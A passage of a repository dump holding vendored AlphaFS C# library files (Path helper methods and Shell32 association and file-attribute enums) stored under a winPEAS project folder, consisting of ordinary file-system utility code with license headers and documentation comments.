      return IsPathRootedCore(path, true);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Gets a value indicating whether the specified path string contains absolute or relative path information.</summary>\n      /// <returns><c>true</c> if <paramref name=\"path\"/> contains a root; otherwise, <c>false</c>.</returns>\n      /// <remarks>\n      ///   The IsPathRooted method returns true if the first character is a directory separator character such as\n      ///   <see cref=\"DirectorySeparatorChar\"/>, or if the path starts with a drive letter and colon (<see cref=\"VolumeSeparatorChar\"/>).\n      ///   For example, it returns <c>true</c> for path strings such as \"\\\\MyDir\\\\MyFile.txt\", \"C:\\\\MyDir\", or \"C:MyDir\".\n      ///   It returns <c>false</c> for path strings such as \"MyDir\".\n      /// </remarks>\n      /// <remarks>This method does not verify that the path or file name exists.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"path\">The path to test. The path cannot contain any of the characters defined in <see cref=\"GetInvalidPathChars\"/>.</param>\n      /// <param name=\"checkInvalidPathChars\"><c>true</c> will check <paramref name=\"path\"/> for invalid path characters.</param>\n      [SecurityCritical]\n      public static bool IsPathRooted(string path, bool checkInvalidPathChars)\n      {\n         return IsPathRootedCore(path, checkInvalidPathChars);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.IsUncPath.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Determines if a path string is a valid Universal Naming Convention (UNC) path.</summary>\n      /// <returns><c>true</c> if the specified path is a Universal Naming Convention (UNC) path, <c>false</c> otherwise.</returns>\n      /// <param name=\"path\">The path to check.</param>\n      [SecurityCritical]\n      public static bool IsUncPath(string path)\n      {\n         return IsUncPathCore(path, false, true);\n      }\n\n\n      /// <summary>Determines if a path string is a valid Universal Naming Convention (UNC) path, optionally skip invalid path character check.</summary>\n      /// <returns><c>true</c> if the specified path is a Universal Naming Convention (UNC) path, <c>false</c> otherwise.</returns>\n      /// <param name=\"path\">The path to check.</param>\n      /// <param name=\"checkInvalidPathChars\"><c>true</c> will check <paramref name=\"path\"/> for invalid path characters.</param>\n      [SecurityCritical]\n      internal static bool IsUncPath(string path, bool checkInvalidPathChars)\n      {\n         return IsUncPathCore(path, false, checkInvalidPathChars);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.IsValidName.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Check if file or folder name has any invalid characters.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"name\">File or folder name.</param>\n      /// <returns><c>true</c> if name contains any invalid characters. Otherwise <c>false</c></returns>\n      public static bool IsValidName(string name)\n      {\n         if (null == name)\n            throw new ArgumentNullException(\"name\");\n\n         return name.IndexOfAny(GetInvalidFileNameChars()) < 0;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.LocalToUnc.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Net.NetworkInformation;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      #region Obsolete\n\n      /// <summary>[AlphaFS] Converts a local path to a network share path, optionally returning it as a long path format and the ability to add or remove a trailing backslash.\n      ///   <para>A Local path, e.g.: \"C:\\Windows\" or \"C:\\Windows\\\" will be returned as: \"\\\\localhost\\C$\\Windows\".</para>\n      ///   <para>If a logical drive points to a network share path (mapped drive), the share path will be returned without a trailing <see cref=\"DirectorySeparator\"/> character.</para>\n      /// </summary>\n      /// <returns>On successful conversion a UNC path is returned.\n      ///   <para>If the conversion fails, <paramref name=\"localPath\"/> is returned.</para>\n      ///   <para>If <paramref name=\"localPath\"/> is an empty string or <c>null</c>, <c>null</c> is returned.</para>\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"PathTooLongException\"/>\n      /// <exception cref=\"NetworkInformationException\"/>\n      /// <param name=\"localPath\">A local path, e.g.: \"C:\\Windows\".</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      /// <param name=\"fullPathOptions\">Options for controlling the full path retrieval.</param>\n      //[Obsolete]\n      //[SecurityCritical]\n      //public static string LocalToUnc(string localPath, PathFormat pathFormat, GetFullPathOptions fullPathOptions)\n      //{\n      //   return LocalToUncCore(localPath, fullPathOptions, pathFormat);\n      //}\n\n      #endregion // Obsolete\n\n\n      /// <summary>[AlphaFS] Converts a local path to a network share path.  \n      ///   <para>A Local path, e.g.: \"C:\\Windows\" or \"C:\\Windows\\\" will be returned as: \"\\\\localhost\\C$\\Windows\".</para>\n      ///   <para>If a logical drive points to a network share path (mapped drive), the share path will be returned without a trailing <see cref=\"DirectorySeparator\"/> character.</para>\n      /// </summary>\n      /// <returns>On successful conversion a UNC path is returned.\n      ///   <para>If the conversion fails, <paramref name=\"localPath\"/> is returned.</para>\n      ///   <para>If <paramref name=\"localPath\"/> is an empty string or <c>null</c>, <c>null</c> is returned.</para>\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"PathTooLongException\"/>\n      /// <exception cref=\"NetworkInformationException\"/>\n      /// <param name=\"localPath\">A local path, e.g.: \"C:\\Windows\".</param>\n      //[SecurityCritical]\n      //public static string LocalToUnc(string localPath)\n      //{\n      //   return LocalToUncCore(localPath, GetFullPathOptions.None, PathFormat.RelativePath);\n      //}\n\n\n      /// <summary>[AlphaFS] Converts a local path to a network share path.  \n      ///   <para>A Local path, e.g.: \"C:\\Windows\" or \"C:\\Windows\\\" will be returned as: \"\\\\localhost\\C$\\Windows\".</para>\n      ///   <para>If a logical drive points to a network share path (mapped drive), the share path will be returned without a trailing <see cref=\"DirectorySeparator\"/> character.</para>\n      /// </summary>\n      /// <returns>On successful conversion a UNC path is returned.\n      ///   <para>If the conversion fails, <paramref name=\"localPath\"/> is returned.</para>\n      ///   <para>If <paramref name=\"localPath\"/> is an empty string or <c>null</c>, <c>null</c> is returned.</para>\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"PathTooLongException\"/>\n      /// <exception cref=\"NetworkInformationException\"/>\n      /// <param name=\"localPath\">A local path, e.g.: \"C:\\Windows\".</param>\n      ///// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      //[SecurityCritical]\n      //public static string LocalToUnc(string localPath, PathFormat pathFormat)\n      //{\n      //   return LocalToUncCore(localPath, GetFullPathOptions.None, pathFormat);\n      //}\n      \n\n      /// <summary>[AlphaFS] Converts a local path to a network share path, optionally returning it as a long path format and the ability to add or remove a trailing backslash.\n      ///   <para>A Local path, e.g.: \"C:\\Windows\" or \"C:\\Windows\\\" will be returned as: \"\\\\localhost\\C$\\Windows\".</para>\n      ///   <para>If a logical drive points to a network share path (mapped drive), the share path will be returned without a trailing <see cref=\"DirectorySeparator\"/> character.</para>\n      /// </summary>\n      /// <returns>On successful conversion a UNC path is returned.\n      ///   <para>If the conversion fails, <paramref name=\"localPath\"/> is returned.</para>\n      ///   <para>If <paramref name=\"localPath\"/> is an empty string or <c>null</c>, <c>null</c> is returned.</para>\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"PathTooLongException\"/>\n      /// <exception cref=\"NetworkInformationException\"/>\n      /// <param name=\"localPath\">A local path, e.g.: \"C:\\Windows\".</param>\n      /// <param name=\"fullPathOptions\">Options for controlling the full path retrieval.</param>\n      //[SecurityCritical]\n      //public static string LocalToUnc(string localPath, GetFullPathOptions fullPathOptions)\n      //{\n      //   return LocalToUncCore(localPath, fullPathOptions, PathFormat.RelativePath);\n      //}\n\n\n      /// <summary>[AlphaFS] Converts a local path to a network share path, optionally returning it as a long path format and the ability to add or remove a trailing backslash.\n      ///   <para>A Local path, e.g.: \"C:\\Windows\" or \"C:\\Windows\\\" will be returned as: \"\\\\localhost\\C$\\Windows\".</para>\n      ///   <para>If a logical drive points to a network share path (mapped drive), the share path will be returned without a trailing <see cref=\"DirectorySeparator\"/> character.</para>\n      /// </summary>\n      /// <returns>On successful conversion a UNC path is returned.\n      ///   <para>If the conversion fails, <paramref name=\"localPath\"/> is returned.</para>\n      ///   <para>If <paramref name=\"localPath\"/> is an empty string or <c>null</c>, <c>null</c> is returned.</para>\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"PathTooLongException\"/>\n      /// <exception cref=\"NetworkInformationException\"/>\n      /// <param name=\"localPath\">A local path, e.g.: \"C:\\Windows\".</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter.</param>\n      /// <param name=\"fullPathOptions\">Options for controlling the full path retrieval.</param>\n      //[SecurityCritical]\n      //public static string LocalToUnc(string localPath, GetFullPathOptions fullPathOptions, PathFormat pathFormat)\n      //{\n      //   return LocalToUncCore(localPath, fullPathOptions, pathFormat);\n      //}\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.RemoveTrailingDirectorySeparator.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Path\n   {\n      /// <summary>[AlphaFS] Removes the trailing <see cref=\"DirectorySeparatorChar\"/> character from the string, when present.</summary>\n      /// <returns>A text string where the trailing <see cref=\"DirectorySeparatorChar\"/> character has been removed. The function returns <c>null</c> when <paramref name=\"path\"/> is <c>null</c>.</returns>\n      /// <param name=\"path\">A text string from which the trailing <see cref=\"DirectorySeparatorChar\"/> is to be removed, when present.</param>\n      [SecurityCritical]\n      public static string RemoveTrailingDirectorySeparator(string path)\n      {\n         return RemoveTrailingDirectorySeparatorCore(path, false);\n      }\n\n\n      /// <summary>[AlphaFS] Removes the trailing <see cref=\"DirectorySeparatorChar\"/> or <see cref=\"AltDirectorySeparatorChar\"/> character from the string, when present.</summary>\n      /// <returns>A text string where the trailing <see cref=\"DirectorySeparatorChar\"/> or <see cref=\"AltDirectorySeparatorChar\"/> character has been removed. The function returns <c>null</c> when <paramref name=\"path\"/> is <c>null</c>.</returns>\n      /// <param name=\"path\">A text string from which the trailing <see cref=\"DirectorySeparatorChar\"/> or <see cref=\"AltDirectorySeparatorChar\"/> is to be removed, when present.</param>\n      /// <param name=\"removeAlternateSeparator\">If <c>true</c> the trailing <see cref=\"AltDirectorySeparatorChar\"/> character will be removed instead.</param>\n      [SecurityCritical]\n      public static string RemoveTrailingDirectorySeparator(string path, bool removeAlternateSeparator)\n      {\n         return RemoveTrailingDirectorySeparatorCore(path, removeAlternateSeparator);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Performs operations on String instances that contain file or directory path information. These operations are performed in a cross-platform manner.</summary>\n   public static partial class Path\n   {\n      // This file only exists for the documentation.\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Shell32.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.ComponentModel;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Provides access to a file system object, using Shell32.</summary>\n   public static class Shell32\n   {\n      /// <summary>Provides information for the IQueryAssociations interface methods, used by Shell32.</summary>\n      [Flags]\n      public enum AssociationAttributes\n      {\n         /// <summary>None.</summary>\n         None = 0,\n\n         /// <summary>Instructs not to map CLSID values to ProgID values.</summary>\n         InitNoRemapClsid = 1,\n\n         /// <summary>Identifies the value of the supplied file parameter (3rd parameter of function GetFileAssociation()) as an executable file name.</summary>\n         /// <remarks>If this flag is not set, the root key will be set to the ProgID associated with the .exe key instead of the executable file's ProgID.</remarks>\n         InitByExeName = 2,\n\n         /// <summary>Specifies that when an IQueryAssociation method does not find the requested value under the root key, it should attempt to retrieve the comparable value from the * subkey.</summary>\n         InitDefaultToStar = 4,\n\n         /// <summary>Specifies that when an IQueryAssociation method does not find the requested value under the root key, it should attempt to retrieve the comparable value from the Folder subkey.</summary>\n         InitDefaultToFolder = 8,\n\n         /// <summary>Specifies that only HKEY_CLASSES_ROOT should be searched, and that HKEY_CURRENT_USER should be ignored.</summary>\n         NoUserSettings = 16,\n\n         /// <summary>Specifies that the return string should not be truncated. Instead, return an error value and the required size for the complete string.</summary>\n         NoTruncate = 32,\n\n         /// <summary>\n         /// Instructs IQueryAssociations methods to verify that data is accurate.\n         /// This setting allows IQueryAssociations methods to read data from the user's hard disk for verification.\n         /// For example, they can check the friendly name in the registry against the one stored in the .exe file.\n         /// </summary>\n         /// <remarks>Setting this flag typically reduces the efficiency of the method.</remarks>\n         Verify = 64,\n\n         /// <summary>\n         /// Instructs IQueryAssociations methods to ignore Rundll.exe and return information about its target.\n         /// Typically IQueryAssociations methods return information about the first .exe or .dll in a command string.\n         /// If a command uses Rundll.exe, setting this flag tells the method to ignore Rundll.exe and return information about its target.\n         /// </summary>\n         RemapRunDll = 128,\n\n         /// <summary>Instructs IQueryAssociations methods not to fix errors in the registry, such as the friendly name of a function not matching the one found in the .exe file.</summary>\n         [SuppressMessage(\"Microsoft.Naming\", \"CA1702:CompoundWordsShouldBeCasedCorrectly\", MessageId = \"FixUps\")]\n         NoFixUps = 256,\n\n         /// <summary>Specifies that the BaseClass value should be ignored.</summary>\n         IgnoreBaseClass = 512,\n\n         /// <summary>Specifies that the \"Unknown\" ProgID should be ignored; instead, fail.</summary>\n         /// <remarks>Introduced in Windows 7.</remarks>\n         InitIgnoreUnknown = 1024,\n\n         /// <summary>Specifies that the supplied ProgID should be mapped using the system defaults, rather than the current user defaults.</summary>\n         /// <remarks>Introduced in Windows 8.</remarks>\n         InitFixedProgId = 2048,\n\n         /// <summary>Specifies that the value is a protocol, and should be mapped using the current user defaults.</summary>\n         /// <remarks>Introduced in Windows 8.</remarks>\n         IsProtocol = 4096\n      }\n\n\n      //internal enum AssociationData\n      //{\n      //   MsiDescriptor = 1,\n      //   NoActivateHandler = 2 ,\n      //   QueryClassStore = 3,\n      //   HasPerUserAssoc = 4,\n      //   EditFlags = 5,\n      //   Value = 6\n      //}\n\n\n      //internal enum AssociationKey\n      //{\n      //   ShellExecClass = 1,\n      //   App = 2,\n      //   Class = 3,\n      //   BaseClass = 4\n      //}\n\n\n      /// <summary>ASSOCSTR enumeration - Used by the AssocQueryString() function to define the type of string that is to be returned.</summary>\n      public enum AssociationString\n      {\n         /// <summary>None.</summary>\n         None = 0,\n\n         /// <summary>A command string associated with a Shell verb.</summary>\n         Command = 1,\n\n         /// <summary>\n         /// An executable from a Shell verb command string.\n         /// For example, this string is found as the (Default) value for a subkey such as HKEY_CLASSES_ROOT\\ApplicationName\\shell\\Open\\command.\n         /// If the command uses Rundll.exe, set the <see cref=\"AssociationAttributes.RemapRunDll\"/> flag in the attributes parameter of IQueryAssociations::GetString to retrieve the target executable.\n         /// </summary>\n         Executable = 2,\n\n         /// <summary>The friendly name of a document type.</summary>\n         FriendlyDocName = 3,\n\n         /// <summary>The friendly name of an executable file.</summary>\n         FriendlyAppName = 4,\n\n         /// <summary>Ignore the information associated with the open subkey.</summary>\n         NoOpen = 5,\n\n         /// <summary>Look under the ShellNew subkey.</summary>\n         ShellNewValue = 6,\n\n         /// <summary>A template for DDE commands.</summary>\n         [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Dde\")]\n         DdeCommand = 7,\n\n         /// <summary>The DDE command to use to create a process.</summary>\n         [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Dde\")]\n         DdeIfExec = 8,\n\n         /// <summary>The application name in a DDE broadcast.</summary>\n         [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Dde\")]\n         DdeApplication = 9,\n\n         /// <summary>The topic name in a DDE broadcast.</summary>\n         [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Dde\")]\n         DdeTopic = 10,\n\n         /// <summary>\n         /// Corresponds to the InfoTip registry value.\n         /// Returns an info tip for an item, or list of properties in the form of an IPropertyDescriptionList from which to create an info tip, such as when hovering the cursor over a file name.\n         /// The list of properties can be parsed with PSGetPropertyDescriptionListFromString.\n         /// </summary>\n         InfoTip = 11,\n\n         /// <summary>\n         /// Corresponds to the QuickTip registry value. This is the same as <see cref=\"InfoTip\"/>, except that it always returns a list of property names in the form of an IPropertyDescriptionList.\n         /// The difference between this value and <see cref=\"InfoTip\"/> is that this returns properties that are safe for any scenario that causes slow property retrieval, such as offline or slow networks.\n         /// Some of the properties returned from <see cref=\"InfoTip\"/> might not be appropriate for slow property retrieval scenarios.\n         /// The list of properties can be parsed with PSGetPropertyDescriptionListFromString.\n         /// </summary>\n         QuickTip = 12,\n\n         /// <summary>\n         /// Corresponds to the TileInfo registry value. Contains a list of properties to be displayed for a particular file type in a Windows Explorer window that is in tile view.\n         /// This is the same as <see cref=\"InfoTip\"/>, but, like <see cref=\"QuickTip\"/>, it also returns a list of property names in the form of an IPropertyDescriptionList.\n         /// The list of properties can be parsed with PSGetPropertyDescriptionListFromString.\n         /// </summary>\n         TileInfo = 13,\n\n         /// <summary>\n         /// Describes a general type of MIME file association, such as image and bmp,\n         /// so that applications can make general assumptions about a specific file type.\n         /// </summary>\n         ContentType = 14,\n\n         /// <summary>\n         /// Returns the path to the icon resources to use by default for this association.\n         /// Positive numbers indicate an index into the dll's resource table, while negative numbers indicate a resource ID.\n         /// An example of the syntax for the resource is \"c:\\myfolder\\myfile.dll,-1\".\n         /// </summary>\n         DefaultIcon = 15,\n\n         /// <summary>\n         /// For an object that has a Shell extension associated with it,\n         /// you can use this to retrieve the CLSID of that Shell extension object by passing a string representation\n         /// of the IID of the interface you want to retrieve as the pwszExtra parameter of IQueryAssociations::GetString.\n         /// For example, if you want to retrieve a handler that implements the IExtractImage interface,\n         /// you would specify \"{BB2E617C-0920-11d1-9A0B-00C04FC2D6C1}\", which is the IID of IExtractImage.\n         /// </summary>\n         ShellExtension = 16,\n\n         /// <summary>\n         /// For a verb invoked through COM and the IDropTarget interface, you can use this flag to retrieve the IDropTarget object's CLSID.\n         /// This CLSID is registered in the DropTarget subkey.\n         /// The verb is specified in the supplied file parameter in the call to IQueryAssociations::GetString.\n         /// </summary>\n         DropTarget = 17,\n\n         /// <summary>\n         /// For a verb invoked through COM and the IExecuteCommand interface, you can use this flag to retrieve the IExecuteCommand object's CLSID.\n         /// This CLSID is registered in the verb's command subkey as the DelegateExecute entry.\n         /// The verb is specified in the supplied file parameter in the call to IQueryAssociations::GetString.\n         /// </summary>\n         DelegateExecute = 18,\n\n         /// <summary>(No description available on MSDN)</summary>\n         /// <remarks>Introduced in Windows 8.</remarks>\n         SupportedUriProtocols = 19,\n\n         /// <summary>The maximum defined <see cref=\"AssociationString\"/> value, used for validation purposes.</summary>\n         Max = 20\n      }\n\n\n      /// <summary>Shell32 FileAttributes structure, used to retrieve the different types of a file system object.</summary>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1034:NestedTypesShouldNotBeVisible\")]\n      [SuppressMessage(\"Microsoft.Design\", \"CA1008:EnumsShouldHaveZeroValue\")]\n      [Flags]\n      public enum FileAttributes\n      {\n         /// <summary>0x000000000 - Get file system object large icon.</summary>\n         /// <remarks>The <see cref=\"Icon\"/> flag must also be set.</remarks>\n         LargeIcon = 0,\n\n         /// <summary>0x000000001 - Get file system object small icon.</summary>\n         /// <remarks>The <see cref=\"Icon\"/> flag must also be set.</remarks>\n         SmallIcon = 1,\n\n         /// <summary>0x000000002 - Get file system object open icon.</summary>\n         /// <remarks>A container object displays an open icon to indicate that the container is open.</remarks>\n         /// <remarks>The <see cref=\"Icon\"/> and/or <see cref=\"SysIconIndex\"/> flag must also be set.</remarks>\n         OpenIcon = 2,\n\n         /// <summary>0x000000004 - Get file system object Shell-sized icon.</summary>\n         /// <remarks>If this attribute is not specified the function sizes the icon according to the system metric values.</remarks>\n         ShellIconSize = 4,\n\n         /// <summary>0x000000008 - Get file system object by its PIDL.</summary>\n         /// <remarks>Indicate that the given file contains the address of an ITEMIDLIST structure rather than a path name.</remarks>\n         [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Pidl\")]\n         Pidl = 8,\n\n         /// <summary>0x000000010 - Indicates that the given file should not be accessed. Rather, it should act as if the given file exists and use the supplied attributes.</summary>\n         /// <remarks>This flag cannot be combined with the <see cref=\"Attributes\"/>, <see cref=\"ExeType\"/> or <see cref=\"Pidl\"/> attributes.</remarks>\n         UseFileAttributes = 16,\n\n         /// <summary>0x000000020 - Apply the appropriate overlays to the file's icon.</summary>\n         /// <remarks>The <see cref=\"Icon\"/> flag must also be set.</remarks>\n         AddOverlays = 32,\n\n         /// <summary>0x000000040 - Returns the index of the overlay icon.</summary>\n         /// <remarks>The value of the overlay index is returned in the upper eight bits of the iIcon member of the structure specified by psfi.</remarks>\n         OverlayIndex = 64,\n\n         /// <summary>0x000000100 - Retrieve the handle to the icon that represents the file and the index of the icon within the system image list. The handle is copied to the <see cref=\"FileInfo.IconHandle\"/> member of the structure, and the index is copied to the <see cref=\"FileInfo.IconIndex\"/> member.</summary>\n         Icon = 256,\n\n         /// <summary>0x000000200 - Retrieve the display name for the file. The name is copied to the <see cref=\"FileInfo.DisplayName\"/> member of the structure.</summary>\n         /// <remarks>The returned display name uses the long file name, if there is one, rather than the 8.3 form of the file name.</remarks>\n         DisplayName = 512,\n\n         /// <summary>0x000000400 - Retrieve the string that describes the file's type.</summary>\n         TypeName = 1024,\n\n         /// <summary>0x000000800 - Retrieve the item attributes. The attributes are copied to the <see cref=\"FileInfo.Attributes\"/> member of the structure.</summary>\n         /// <remarks>Will touch every file, degrading performance.</remarks>\n         Attributes = 2048,\n\n         /// <summary>0x000001000 - Retrieve the name of the file that contains the icon representing the file specified by pszPath. The name of the file containing the icon is copied to the <see cref=\"FileInfo.DisplayName\"/> member of the structure.  The icon's index is copied to that structure's <see cref=\"FileInfo.IconIndex\"/> member.</summary>\n         IconLocation = 4096,\n\n         /// 